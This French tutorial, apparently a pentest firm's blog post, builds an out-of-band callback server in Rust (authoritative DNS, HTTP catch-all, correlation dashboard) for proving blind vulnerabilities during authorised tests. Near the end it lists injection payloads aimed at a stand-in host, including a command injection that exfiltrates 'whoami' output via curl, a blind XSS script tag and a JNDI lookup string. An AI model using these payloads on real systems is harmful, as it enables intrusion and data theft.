Construire son serveur OOB pour le pentest (from scratch,
en Rust)
Blind SSRF, blind XSS, RCE aveugle : certaines failles ne renvoient rien dans la réponse. Pour les prouver, il faut un serveur out-of-band (OOB) — comme Burp Collaborator ou interactsh, mais le vôtre. On en construit un from scratch en Rust : DNS autoritatif, catch-all HTTP, corrélation et dashboard live. Code complet open-source.
Maxime Jérôme··14 min de lecture
Vous injectez un payload dans un champ. La réponse HTTP revient : 200 OK, rien d'anormal, aucune donnée qui fuit, aucun message d'erreur. Et pourtant, quelque part côté serveur, votre charge s'est bel et bien exécutée. Elle a juste recraché son résultat ailleurs que dans la page que vous regardez. Bienvenue dans le monde des failles aveugles — et dans la seule façon fiable de les prouver : le canal out-of-band (OOB).

Les outils du marché s'appellent Burp Collaborator ou interactsh. Ils sont excellents — mais ce sont des boîtes noires. Le meilleur moyen de comprendre vraiment ce qu'ils font, c'est d'en construire un. Alors on va le faire : un serveur OOB minimal mais fonctionnel, from scratch en Rust, en ~700 lignes lisibles. DNS autoritatif fait main, catch-all HTTP, corrélation des callbacks et dashboard temps réel. Le code complet est en open-source à la fin.
Cadre légal — à lire avant tout
Le problème : les failles qu'on ne voit pas
Une faille classique vous répond dans la même requête : vous envoyez ' OR 1=1--, la page affiche toute la table. C'est de l'in-band. Mais une grande partie des vulnérabilités modernes sont aveugles : le serveur exécute votre charge sans jamais rien renvoyer d'exploitable dans la réponse. Quelques classiques :
- Blind SSRF — vous forcez le serveur à émettre une requête sortante (vers une URL que vous contrôlez), mais la réponse de cette requête ne vous est jamais montrée.
- Blind XSS — votre payload JavaScript s'exécute, mais dans le navigateur d'un admin, sur une page back-office que vous ne verrez jamais.
- RCE / injection de commande aveugle — la commande tourne, mais sa sortie ne revient pas (pas de
stdoutdans la réponse). - Exfiltration SQL out-of-band — une injection qui ne renvoie rien, mais peut déclencher une requête DNS depuis le SGBD.
- XXE aveugle — un parseur XML qui résout une entité externe vers une ressource distante.
Le point commun ? Dans tous ces cas, on peut faire faire au système cible une connexion sortante — une résolution DNS, une requête HTTP. Si cette connexion atterrit sur un serveur que vous contrôlez, vous tenez votre preuve. C'est exactement ce qu'un serveur OOB capture.
Le principe en une image
Vous possédez un domaine et vous déléguez un sous-domaine — disons oob.example.com — à votre serveur. Vous glissez un nom unique dans votre payload. Quand la cible le résout ou le contacte, le callback arrive chez vous, horodaté, avec l'IP source.
http://deadbeef.oob.example.com/DNS deadbeef, répond A 203.0.113.10.HTTP deadbeef, répond un 200 OK anodin.Nuance importante : un hit DNS seul prouve que quelque chose a résolu le nom (un resolver, un anti-spam, un proxy…). Un hit HTTP, lui, est une confirmation dure : une vraie connexion sortante a eu lieu. On garde cette distinction en tête, elle est au cœur de la fiabilité d'un OOB.
Ce qu'on va construire
Trois composants au-dessus d'un store mémoire partagé, le tout dans un seul binaire Rust (runtime async tokio) :
- Un serveur DNS autoritatif (UDP/53) qui répond pour notre zone et logue chaque résolution.
- Un catch-all HTTP (TCP/80) qui capture n'importe quelle requête (méthode, chemin, en-têtes, corps) et répond un
200 OKanodin. - Un dashboard live (localhost) qui affiche les callbacks en temps réel + une petite API JSON.
On n'utilise aucune bibliothèque DNS ni framework web : l'intérêt, c'est justement de voir le protocole sur le fil. Deux dépendances en tout (tokio et serde_json).
Étape 0 : le domaine et la délégation DNS
C'est l'étape qu'on oublie toujours, et sans elle rien ne marche. Pour que votre serveur soit interrogé quand la cible résout deadbeef.oob.example.com, il doit être autoritatif pour la zone oob.example.com. Concrètement, chez votre registrar (sur la zone example.com), vous créez une délégation :
; délégation de oob.example.com vers votre serveur
oob.example.com. NS ns1.oob.example.com.
oob.example.com. NS ns2.oob.example.com.
; glue records : l'IP publique de votre VPS
ns1.oob.example.com. A 203.0.113.10
ns2.oob.example.com. A 203.0.113.10Les glue records sont indispensables : sans eux, un resolver tournerait en rond (il faut résoudre ns1.oob.example.com pour joindre oob.example.com, qui dépend de… ns1). Le glue casse la boucle en pré-câblant l'IP au niveau du parent. Une fois en place, on vérifie :
deadbeef.oob.example.com.NS → ns1/ns2.oob.example.com, avec glue A → 203.0.113.10.# la délégation est-elle vue depuis l'extérieur ?
dig NS oob.example.com @8.8.8.8 +short
# notre serveur répond-il en direct sur son IP ?
dig A test.oob.example.com @203.0.113.10 +short
# → 203.0.113.10Choisissez un domaine neutre
oob.ma-boite-secu.fr). Beaucoup de WAF et de blue teams blacklistent les domaines OOB connus, et un nom qui crie « pentest » se fait filtrer. Un domaine quelconque et anodin passe bien mieux.Étape 1 : un serveur DNS autoritatif minimal
Une requête DNS, c'est un en-tête de 12 octets suivi d'une question : le QNAME (les labels du nom, chacun préfixé par sa longueur, terminé par un octet nul), puis le QTYPE et le QCLASS sur 2 octets chacun. Dans une question, pas de compression de noms : on peut donc parser à plat. On extrait le nom et le type :
/// Parse la section question : renvoie (qname, index après le qname, qtype).
fn parse_query(buf: &[u8]) -> Option<(String, usize, u16)> {
if buf.len() < 12 { return None; } // en-tête = 12 octets
if u16::from_be_bytes([buf[4], buf[5]]) < 1 { return None; } // QDCOUNT
let mut pos = 12usize;
let mut labels: Vec<String> = Vec::new();
loop {
let len = *buf.get(pos)? as usize;
if len == 0 { pos += 1; break; } // label racine -> fin
if len & 0xC0 != 0 { return None; } // pointeur de compression : non
pos += 1;
let end = pos.checked_add(len)?;
if end > buf.len() { return None; }
labels.push(String::from_utf8_lossy(&buf[pos..end]).into_owned());
pos = end;
}
let qtype = u16::from_be_bytes([buf[pos], buf[pos + 1]]);
Some((labels.join("."), pos, qtype))
}Pour la réponse, on recopie l'ID de transaction, on lève les bons bits (QR = réponse, AA = autoritatif), on ré-émet la question, puis — pour une requête A — on ajoute un enregistrement pointant vers notre IP publique. L'astuce de compression 0xC0 0x0C évite de réécrire le nom : c'est un pointeur vers la question, à l'offset 12.
fn build_response(req: &[u8], qname_end: usize, qtype: u16, ip: [u8; 4]) -> Option<Vec<u8>> {
let q_end = qname_end + 4; // inclut QTYPE + QCLASS
let rd = req[2] & 0x01; // on préserve le bit Recursion-Desired
let answer_a = qtype == 1; // 1 = A
let mut out = Vec::new();
out.extend_from_slice(&req[0..2]); // ID de transaction, ré-émis
out.push(0x84 | rd); // QR=1, AA=1, RD copié
out.push(0x00); // RCODE=0 (NOERROR)
out.extend_from_slice(&[0x00, 0x01]); // QDCOUNT = 1
out.extend_from_slice(&[0x00, if answer_a { 1 } else { 0 }]); // ANCOUNT
out.extend_from_slice(&[0, 0, 0, 0]); // NSCOUNT, ARCOUNT
out.extend_from_slice(&req[12..q_end]); // on ré-émet la question
if answer_a {
out.extend_from_slice(&[0xC0, 0x0C]); // NAME -> pointeur vers offset 12
out.extend_from_slice(&[0x00, 0x01, 0x00, 0x01]); // TYPE=A, CLASS=IN
out.extend_from_slice(&[0x00, 0x00, 0x00, 0x1E]); // TTL = 30s
out.extend_from_slice(&[0x00, 0x04]); // RDLENGTH = 4
out.extend_from_slice(&ip); // RDATA = l'IPv4
}
Some(out)
}Le tout tourne dans une boucle recv_from / send_to sur un UdpSocket tokio. Chaque requête est loguée avant qu'on réponde : même une résolution AAAA sans réponse exploitable reste une preuve d'interaction.
Pourquoi pas une lib DNS ?
A et tout logger, c'est amplement suffisant.Étape 2 : le catch-all HTTP
Côté HTTP, on accepte tout : n'importe quelle méthode, n'importe quel chemin. On lit la requête jusqu'à la fin des en-têtes (le \r\n\r\n), on extrait ce qui nous intéresse (méthode, chemin, Host, User-Agent, corps borné), on logue, et on renvoie un 200 OK insignifiant pour que la requête de la cible « réussisse » sans éveiller de soupçon.
// ... après avoir lu et parsé les en-têtes ...
let host_no_port = host.split(':').next().unwrap_or("").to_string();
// Corrélation : on préfère le sous-domaine du Host, sinon le 1er segment du chemin.
let id = label_from_host(&host_no_port, &zone)
.or_else(|| path.trim_start_matches('/').split('/').next()
.filter(|s| !s.is_empty()).map(str::to_string))
.unwrap_or_else(|| "@".to_string());
store.record(id, "HTTP", src, format!("{method} {path}"), raw);
// Réponse anodine : le callback doit avoir l'air parfaitement banal.
let resp = "HTTP/1.1 200 OK\r\nContent-Length: 3\r\nConnection: close\r\n\r\nok\n";
sock.write_all(resp.as_bytes()).await?;Étape 3 : corréler les callbacks
Si vous testez 30 points d'injection, vous devez savoir lequel a déclenché un callback. D'où le token de corrélation : un label court et unique que vous plantez dans chaque payload (deadbeef.oob.example.com). Au retour, le serveur ré-extrait ce label du nom et regroupe les interactions dessus.
/// abc123.oob.example.com (zone oob.example.com) -> "abc123".
/// On garde le label le plus à gauche : a.b.tok.oob.example.com -> "tok".
pub fn correlation_id(qname: &str, zone: &str) -> String {
let q = qname.trim_end_matches('.').to_ascii_lowercase();
let z = zone.trim_end_matches('.').to_ascii_lowercase();
match q.strip_suffix(&format!(".{z}")) {
Some(prefix) => prefix.rsplit('.').next().unwrap_or(prefix).to_string(),
None => q, // hors de notre zone : on logue quand même
}
}Le token ne doit RIEN encoder
Le store, lui, est un simple buffer mémoire borné (on ne persiste pas les callbacks d'une cible sur disque : redémarrage = ardoise propre). Chaque interaction garde proto, IP source, horodatage et la preuve brute (le QNAME, ou les en-têtes + corps HTTP).
Étape 4 : le dashboard live
Dernier morceau : une page qui interroge l'API JSON toutes les deux secondes et affiche les callbacks au fil de l'eau, plus un bouton « New payload » qui appelle /new pour générer un token frais et ses URLs prêtes à coller. Trois routes, zéro framework :
let (status, ctype, body) = match path {
"/" => ("200 OK", "text/html", PAGE.replace("__ZONE__", &zone)),
"/api/interactions" => ("200 OK", "application/json", store.snapshot_json().to_string()),
"/new" => {
let token = store.new_token();
let payload = serde_json::json!({
"id": token,
"dns": format!("{token}.{zone}"),
"http": format!("http://{token}.{zone}/"),
});
("200 OK", "application/json", payload.to_string())
}
_ => ("404 Not Found", "text/plain", "not found\n".into()),
};Le dashboard reste privé
localhost (ou derrière un VPN / une auth). Jamais sur l'internet public.Déployer sur un VPS
Le binaire doit écouter sur les ports 53 et 80 — des ports privilégiés. On évite de tourner en root : la capability NET_BIND_SERVICE suffit. Via Docker :
docker build -t oob-poc .
docker run -d --name oob \
--cap-add NET_BIND_SERVICE \
-p 53:53/udp -p 53:53/tcp -p 80:80 \
-p 127.0.0.1:8080:8080 \
-e OOB_ZONE=oob.example.com \
-e OOB_PUBLIC_IP=203.0.113.10 \
oob-pocCôté firewall : on ouvre 53/udp+tcp et 80/tcp au monde (c'est la cible qui doit nous joindre), et on garde le dashboard sur la loopback. Une vérification de bout en bout :
# depuis n'importe où : déclencher un callback DNS puis HTTP
dig +short deadbeef.oob.example.com # -> 203.0.113.10
curl http://deadbeef.oob.example.com/ # -> ok
# les deux apparaissent dans le dashboard, regroupés sous "deadbeef"S'en servir : exemples de payloads
En test autorisé, le token s'injecte partout où vous soupçonnez une connexion sortante. Quelques exemples :
# SSRF dans un paramètre d'URL
https://cible/api/fetch?url=http://deadbeef.oob.example.com/
# Blind XSS (s'exécute dans un back-office que vous ne voyez pas)
"><script src=//deadbeef.oob.example.com/x.js></script>
# Injection de commande aveugle (exfil via DNS)
; curl http://deadbeef.oob.example.com/$(whoami)
# Log4Shell-like / résolution JNDI déclenchant un DNS
${jndi:dns://deadbeef.oob.example.com/a}
# En-tête Host pour un SSRF côté reverse-proxy
Host: deadbeef.oob.example.comLe second exemple est instructif : le $(whoami) devient un sous-domaine. Comme notre catch-all logue n'importe quel label, vous récupérez la sortie de la commande directement dans le QNAME — de l'exfiltration de données par DNS, sans jamais voir la réponse HTTP de la cible.
Les limites de ce PoC (et ce qu'un vrai serveur ajoute)
Ce PoC prouve le concept et tient en une lecture. Un serveur OOB de production — comme celui qu'on opère chez own2pwn — ajoute plusieurs couches qu'on a volontairement laissées de côté pour garder le cœur lisible :
- TLS wildcard (
*.oob.example.com) via un challenge ACME DNS-01 — car beaucoup de SSRF ne partent qu'enhttps://. - Collecteurs multi-protocoles (SMTP, LDAP, FTP, TCP brut) pour prouver les SSRF par smuggling de protocole — un
gopher://ou un${jndi:ldap://…}qui ouvre une connexion non-HTTP. - Isolation multi-tenant et API de polling pour piloter l'OOB depuis un scanner automatisé.
- Épinglage de l'IP source (anti faux positifs) : on ne valide un callback que s'il vient de l'IP attendue de la cible — sinon un resolver récursif ou un attaquant tiers peut « faussement » déclencher un hit.
- Une règle de corrélation 0-faux-positif (DNS seul = suspecté, HTTP = confirmé) appliquée côté serveur, non négociable par le client.
Ces briques font la différence entre un gadget de lab et un outil sur lequel on engage un rapport client. C'est précisément le genre d'infra qui tourne derrière notre EASM et nos pentests web blackbox — là où détecter une blind SSRF sur une surface d'attaque externe doit être fiable et sans bruit. Pour la frontière entre détection automatisée et test réel, voyez aussi pentest vs scan de vulnérabilité.
Le code complet
L'intégralité du PoC — serveur DNS, catch-all HTTP, dashboard, tests unitaires, Dockerfile — est open-source (licence MIT) :
👉 github.com/own2pwn-fr/oob-poc
Clonez, lancez en local sur des ports non privilégiés, et regardez vos premiers callbacks tomber :
git clone https://github.com/own2pwn-fr/oob-poc && cd oob-poc
OOB_ZONE=oob.example.com \
OOB_DNS_BIND=127.0.0.1:15353 \
OOB_HTTP_BIND=127.0.0.1:8080 \
OOB_DASHBOARD_BIND=127.0.0.1:9090 \
cargo run --release
# dans un autre shell
dig +short @127.0.0.1 -p 15353 deadbeef.oob.example.com
curl -H 'Host: deadbeef.oob.example.com' http://127.0.0.1:8080/
# ouvrez http://127.0.0.1:9090/À retenir
- Les failles aveugles (blind SSRF/XSS, RCE et SQLi out-of-band, XXE) ne se prouvent qu'avec un canal OOB : on force une connexion sortante vers un serveur qu'on contrôle.
- Un OOB tient en trois pièces : un DNS autoritatif, un catch-all HTTP, et de la corrélation par token opaque.
- La délégation DNS (NS + glue) est le prérequis qu'on oublie ; sans elle, le serveur n'est jamais interrogé.
- Un hit DNS suspecte, un hit HTTP confirme. La gestion fine des faux positifs (épinglage IP source) est ce qui sépare le PoC de l'outil de prod.
- Et bien sûr : uniquement en test autorisé.
Envie qu'on cherche ce genre de failles aveugles sur votre surface d'attaque ? C'est exactement le métier d'own2pwn — ou parlez-en directement avec un humain via la page contact.
Articles liés
appsec
Pentest, scan de vulnérabilité ou EASM : quelles différences ?
« On a fait un scan, on est bon. » Spoiler : non. Test d'intrusion, scanner de vulnérabilités et EASM répondent à trois questions différentes. On démêle tout : automatisé vs humain, faux positifs, exploitabilité, et lequel choisir.
appsec
Combien coûte un test d'intrusion web ? Prix et facteurs en 2026
Prix d'un pentest web en 2026 : fourchettes réelles et sourcées, modèle au TJM, facteurs qui font varier le coût (périmètre, blackbox vs whitebox, retest), comment lire un devis et réduire la facture sans sacrifier la qualité.
appsec
Pentest automatisé vs pentest humain : ce que l'IA change (et ses limites)
Pentest IA, pentest autonome, agent IA de pentest : entre la hype et la réalité 2026. Ce que les agents savent vraiment faire, où ils butent encore, et pourquoi « pentest IA » cache souvent un simple scan avancé.